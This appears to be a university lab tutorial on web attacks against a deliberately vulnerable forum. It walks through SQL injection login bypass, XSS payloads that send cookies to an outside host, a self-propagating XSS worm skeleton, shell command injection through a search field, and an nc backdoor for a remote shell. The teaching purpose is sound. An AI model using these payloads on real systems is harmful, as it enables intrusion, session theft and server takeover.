Web Attacks Tutorial
Getting started with the forum
In order to access the forum you will be exploiting, you will need to enable port-forwarding to the correct website. In order to do this, bring up a terminal and type (with your username substituted):
ssh -L 9000:netsec-demos:2000 firstname.lastname@example.org
SQL Injection, where malicious SQL statements are run on a database, can allow a malicious user to attack the server itself. In this case, miniBB has been modified to not sanitize the Username or Password fields, and can be easily manipulated into allowing administrator login.
The following SQL statement is run in order to authenticate a user:
select username, user_password from minibbtable_users where user_password = md5('inputpassword') and username='inputusername' limit 1;
This selects the username and password from the accounts table on the message board where both the username and the password in the database match the username and md5 hash of the password from the user. Limit 1 means that only 1 result at most will be returned, and the rest, if they exist, will be discarded.
Normally, characters such as quotes are stripped out of user input, but in many vulnerable servers, this is not done. So, we can arbitrarily change the above SQL statement to whatever we would like, because this server does not stop us.
Adding anything to the password is useless, because the password is md5 hashed, so that only the hashed password is stored on the database for security reasons. Theoretically, md5 hashing cannot be reversed, so the actual password is not retrievable. What this means for us is that any SQL characters we try to inject into the password will be corrupted.
However, we can alter the username field such that all results for the above statement returns true.
For a normal login, the SQL looks something like:
select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe' limit 1;
But, we can set username to
' or '1'='1 so that the result is:
select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1' limit 1;
The bold characters are what we have injected. Then, the where statement, instead of picking only rows that have both the username and the password matching the input, instead picks any row where the username is blank and the password matches or any row where true. This means that, since limit 1 is there, the first row will be returned.
This happens, on miniBB, to always be the administrator, and so, if we enter the above string for our username and any password, we will be logged as administrator.
What can be done with this attack varies based on the usage of the SQL statement. Some search pages, for example, have vulnerabilities that allow any data in the database to be returned by using the union statement. It all depends on how the results of the query are used. In this case, the first returned result is used for authentication, and so we can get privilege escalation.
To help you keep a clean working environment, enter the Admin panel, and add a new forum for your personal use. Then enter this forum, and perform all of your XSS attacks within it.
Task 1: Posting a Malicious Message to Display an Alert Window
Task 2: Posting a Malicious Mesage to Display Cookies
<script>alert(document.cookie);</script> Hello Everybody, Welcome to this message board.
When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.
Task 3: Stealing Cookies from the Victim's Machine
<img> tag with
the img tag, the browser tries to load the image from the mentioned URL and in
the process ends up sending a HTTP GET request to the attacker's website. The
Hello Folks, <script>document.write("<img src=http://hamsa.cs.northwestern.edu:5555?c=" + escape(document.cookie) + ">"); </script> This script is to test XSS. Thanks.
You will need to set up a TCP Server to print out what is sent to this port. In order to do
this, create a file on hamsa called
server.rb that contains the following code:
require 'socket' require 'thread' server = TCPServer.open(5555) begin Thread.start(server.accept) do |client| response = client.recv(100) puts response client.close end end while(true)
You can now type
ruby server.rb in order to run this server. Once this server is running,
address and port number that you specified, and the server will print it out.
Task 4: Writing an XSS Worm
In this task, we will steal cookies from a victim, and then forge an HTTP request using those cookies directly from the victim's browser. In order to accomplish this task, the worm program must do the following:
There are two common types of HTTP requests, one is HTTP
and the other is HTTP
POST. These two types of HTTP requests
differ in how they send the contents of the request to the server.
phpBB, the request for posting a message uses HTTP
We can use the
XMLHttpRequest object to send
POST requests from web applications.
XMLHttpRequest can only send HTTP requests back to the server,
instead of other computers, because the same-origin policy
is strongly enforced for
XMLHttpRequest. This is not
an issue for us, because we only want to use
to send a forged HTTP
POST request back to the
To forge a forum post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what is sent to the server when a user posts a new message. Firefox's developer tools can help us; the web console can display the contents of any HTTP message sent or received by the browser. From the contents, we can identify all the the parameters of request and response messages. Firefox developer tools (as well as equivalents on other browsers) are available through Tools -> Developer Tools. Go ahead and open up the web console, then post a new topic inside your forum, and see the requests. Find the HTTP Post request and look it over. Specifically, look for the content of the request, which contains the post title and message text. You may need to right-click to enable logging of request and response bodies in the console.
that you need to write. You need to fill in the content of the AJAX request.
posted to the
phpBB message board, you need to remove all the
comments and extra newlines.
<script> var Ajax=null; // Construct the header information for the Http request Ajax=new XMLHttpRequest(); Ajax.open("POST","?????",true); Ajax.setRequestHeader("Host","?????"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); // Construct the content. The format of the content can be learned // from LiveHttpHeader. var content="?????"; // Send the HTTP POST request. Ajax.send(content); </script>
Task 5: Writing a Self-Propagating XSS Worm
The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.
In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:
<script id=worm> var strCode = document.getElementById("worm"); alert(strCode.innerHTML); </script>
All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, the copy of your worm should be encoded using the
escapefunction. An example of using the function is given below.
<script> var strSample = "Hello World"; var urlEncSample = escape(strSample); alert(urlEncSample); </script>
concatfunction in order to concatonate strings within the content of your POST.
When attempting to pass the string
</script>tag, it closes out of the
<script>block you are placing your entire malicious method in. For this reason, the string
</script>must be split up into two parts, such as
Once you have written a self-propagating worm, show it to one of the TAs to receive credit for this portion of the lab.
While XSS allows us to steal credentials, and SQL injection allowed us to login as Administrator or perform other database queries, Shell attacks allow actual machine control.
A Shell attack is very simple and yet very dangerous for the victim. In essence, it is injecting commands into scripts that use Linux utilities. Back when Perl CGI scripts were common, they might do things like use
cat /etc/passwd or
finger to search for users on the system, for example. Or, such as in this case, they may execute
echo to write to a log file.
MiniBB has been modified to write all search data to a logfile by executing the following command:
system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");
$user_usr is the username associated with the query.
$phrase is the search phrase entered. This simply appends a user's name and search phrase to
/tmp/searchlogs, effectively creating a log of who performed which search.
$phrase is not sanitized. Thus, we can execute arbitrary commands on the system very easily.
While logged in to MiniBB, click
Search For box, type
>/dev/null; id; echo randomdata
This will cause the following to be run on the system:
echo yourusername `>/dev/null; id; echo randomdata` >>/tmp/searchlogs
This results in running id on the system and returning it to you. If
/dev/null is not added, you will also see the output of
echo yourusername, which isn't a big deal, but is irritating. The semicolons are Linux command separators. Finally, echoing randomdata to the search logs (or simplying having id; so that nothing is written to the searchlogs) is a good idea otherwise the administrator will have a log of all commands run.
You can try this command, and you will see that your id is
www-data, the webserver user. Replacing id with other commands can be used to perform any operation on the system, including establishing a remote shell.
Try getting a remote shell as an exercise. Note, netsec-demos has an old version of nc so you can set up a backdoor with this command:
nc -l -p PORT -e /bin/sh